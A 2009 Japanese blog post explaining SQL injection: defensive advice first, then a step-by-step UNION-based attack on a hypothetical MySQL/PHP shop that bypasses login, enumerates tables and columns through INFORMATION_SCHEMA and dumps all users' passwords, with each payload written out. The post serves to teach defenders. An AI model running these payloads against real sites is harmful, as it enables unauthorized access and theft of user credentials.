だらだらやるよ。 このページをアンテナに追加 RSSフィード

 

2009-04-19

そろそろSQLインジェクションについてひとこと言っておくか。

| そろそろSQLインジェクションについてひとこと言っておくか。 - だらだらやるよ。 を含むブックマーク はてなブックマーク - そろそろSQLインジェクションについてひとこと言っておくか。 - だらだらやるよ。 そろそろSQLインジェクションについてひとこと言っておくか。 - だらだらやるよ。 のブックマークコメント

ちょっとSQL Injectionについて未だに情報が少ないのにいらついていたので。

というか対策ばっかりで何ができますよーってのはほとんどログインできますよーくらいじゃねえか。

具体的な攻撃方法もわからずにぼんやり対策してるだけの人多いような気がするのでちょっと攻撃方法書いとく。


SQLインジェクションってなに?

アプリユーザ入力領域からSQL文を注入されてしまうこと。

サーバでこういうコード書いてると、user_nameに「' or '1'='1';#」とか書かれて素敵なことになる。(mysqlの場合)

String sql = "SELECT * FROM users WHERE = name = '"+user_name+"' AND password='"+user_password+"'";

簡単に言うと、開発者意図しないSQLユーザ入力によって行う攻撃手法ですね。


SQLインジェクションの対策方法

とりあえずは対策から。


とかまぁこんな感じすね、まぁこの辺見てください

今夜分かるSQLインジェクション対策 − @IT


基本的にはXSSもそうなんだけど、ユーザから渡される値を全て信用しないことです。

通常の入力もそうだし、環境変数クッキー文字列も注意してください。

【CSL】CSL緊急注意喚起レポート~新手のSQLインジェクションを行使するボットの確認~ | LAC


プリペアドステートメントについての注意。

プリペアドステートメントは、本来DB側でクエリキャッシュさせて効率化をはかるのが目的のもので、

SQLデータを別々にDBに渡します。

そのため、SQLインジェクションが起こりえない。というわけなのですが。。。

DB接続用のライブラリによってはなぜかライブラリ側でSQLを組み立てている場合があるので、注意してください。

PEARDBがそうだという話が書いてありました。

IPA ISEC セキュア・プログラミング講座:Webアプリケーション編 第6章 入力対策:SQL注入: #1 実装における対策(一番下のほう)

他のライブラリも、どうなっているか確認しておいたほうがいいかもしれません。


あ、サポートしてないDBもあるのかな?誰か詳しい人教えてください。


アタックする(本題)

とりあえずhackmeデータベースでも用意しましょうか。

こんな感じのECサイトデータベースを想定。内容は超適当

users

idnamepasswordcard_numberpoint
1tarohagexxxxx1000
2jirohogeaaaaa500
3hanakohigebbbbb0

items

idnameprice
1mikan1000
2ringo500
3budo100

このサイトはなんと全ての入力値に対策が行われてなく、エラーメッセージも全部表示されてしまいます。

あなたはログインフォームでSQLインジェクションができ、他人のユーザ名でログインできることを確認しました。

SQLが実行できるので、悪そうなことは色々できそうなのですが。。。


DBの調査

まずはDBwebアプリが何で作成されているか特定しましょう。

webアプリ拡張子が.phpなため、phpを使って書かれているというのがわかりました。

エラーメッセージが表示されているのであれば、適当エラーを発生させたらわかるはずです。

入力値にシングルコーテーションを入れるとこんなエラーメッセージが。

#1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''''

MySQLということがわかりました。

MySQLPHPの組み合わせの場合、複文がサポートされてないことが多いので、アップデート文を実行して商品の値段を0円にしたり、自分ポイントをすごい額にしたりは無理そうですね。

せっかくですし全てのユーザデータを頂きましょう。


テーブルの一覧を手に入れる

どんなテーブルがあるのかわかれば攻撃の目処も立てやすくなります。

MySQLにはshow tablesというコマンドがあるのですが、これだとSQLインジェクションで使えないのでこんな感じで。

これを実行させるのが目的になります。

SELECT * FROM INFORMATION_SCHEMA.TABLES

で、この結果を表示したいのですが、今回は商品検索画面を使います。

id商品名価格
1mikan1000円
2ringo500円
3budo100円

のように表示されていて、検索用に商品名の入力フォームが設置してあります。せっかくなので、ここを利用しましょう。

部分一致検索と書いてあるのできっと内部のSQLはこんな感じだなというのがわかります。

カラム名、テーブル名は今のところ判明してません。(エラークエリ表示させたら一部はわかるかも。)

"SELECT column1,column2... FROM tablename WHERE column1 like '%"+入力値+"%'"

この結果にUNIONでテーブル一覧を結合させてしまえば便利なクエリ結果表示画面ができそうです。

まずはカラムの数と型を調べます。入力値にこんな感じで文字列

' and 1=0 UNION ALL SELECT null #

UNION句はカラムの個数と型が同じじゃないとDBエラーになるので

1個からはじめて、DBエラーが出なくなるまで続けます。(NULLは何型でも存在するので個数だけあっていれば良い)

' and 1=0 UNION ALL SELECT null,null,null #

この文字列を注入したときに、DBエラーがでなかったのでこれで確定できました。

今回は3カラムだということがわかりました。

次は型情報を調べて、UNIONで他のテーブルの情報を表示させる準備をします。

。。。なのですが、MySQLは型に対してかなりゆるふわなので、UNIONから型情報を判別するときに

アプリ側のエラーを利用する必要があります。アプリエラーがでないならば別に困らないので必要ないですね。


他の多くのDBMSの場合、UNIONで結果を結合するときに、カラムの型が同じじゃないとエラーになるはずです。


なんでまぁこのステップは型情報が必要な場合行ってください。

おそらく数値と文字列だろうとあたりをつけてこんな感じで。

' and 1=0 UNION ALL SELECT '',null,null #

' and 1=0 UNION ALL SELECT 1,null,null #

これを、全てのカラムに対して実行していきます。

3カラムまで表示することができるのがわかったので、やっとSQLを。

' UNION ALL (SELECT TABLE_SCHEMA,TABLE_NAME ,TABLE_COMMENT FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_TYPE = 'BASE TABLE') ;#

とりあえず有用そうな項目を表示させました。

この結果から、システムDB管理ツールが作成したようなテーブルを除外し、このアプリで使用しているテーブル一覧を手に入れることができます。

usersとitemsというテーブルがそれっぽそうです。


カラムの一覧を手に入れる

同じ方法で好きなカラムの一覧を手に入れる。

' and 1=0 UNION ALL (SELECT TABLE_NAME,COLUMN_NAME,DATA_TYPE FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME IN('users','items') ORDER BY TABLE_NAME) ;#

これでテーブルの情報が裸になりました!

あとは好きなデータを表示することができます。


会員情報を全て表示

' and 1=0 UNION ALL (SELECT name,password,point FROM users);#

全ての会員情報ユーザ情報パスワードが表示されたので、こころゆくまで眺めた後そっとブラウザを閉じます。


終わりに

今回解説したのは一般的なSQLインジェクションなんだけど、実際DBアプリエラーが表示されるシステムは少ないですよね。

エラーメッセージが表示されない環境下で行うブラインドSQLインジェクションという手法もあるので、皆さん気をつけましょう。

エラー画面が表示されない中、1ビット情報を積み重ねていきながら対象をハックするのはある種の感動すら覚えますね。


関連情報

はてぶも沢山張られてたらしいしこれとか見るとわかりやすいんじゃないかな!

SQL Injection Cheat Sheet

ハッカージャパン2007年5月号で翻訳されてます。また本誌にはこのサンプルを使った解説も載ってました。

SQL Injection Cheat Sheet

トラックバック - http://d.hatena.ne.jp/nagakura_eil/20090419/p1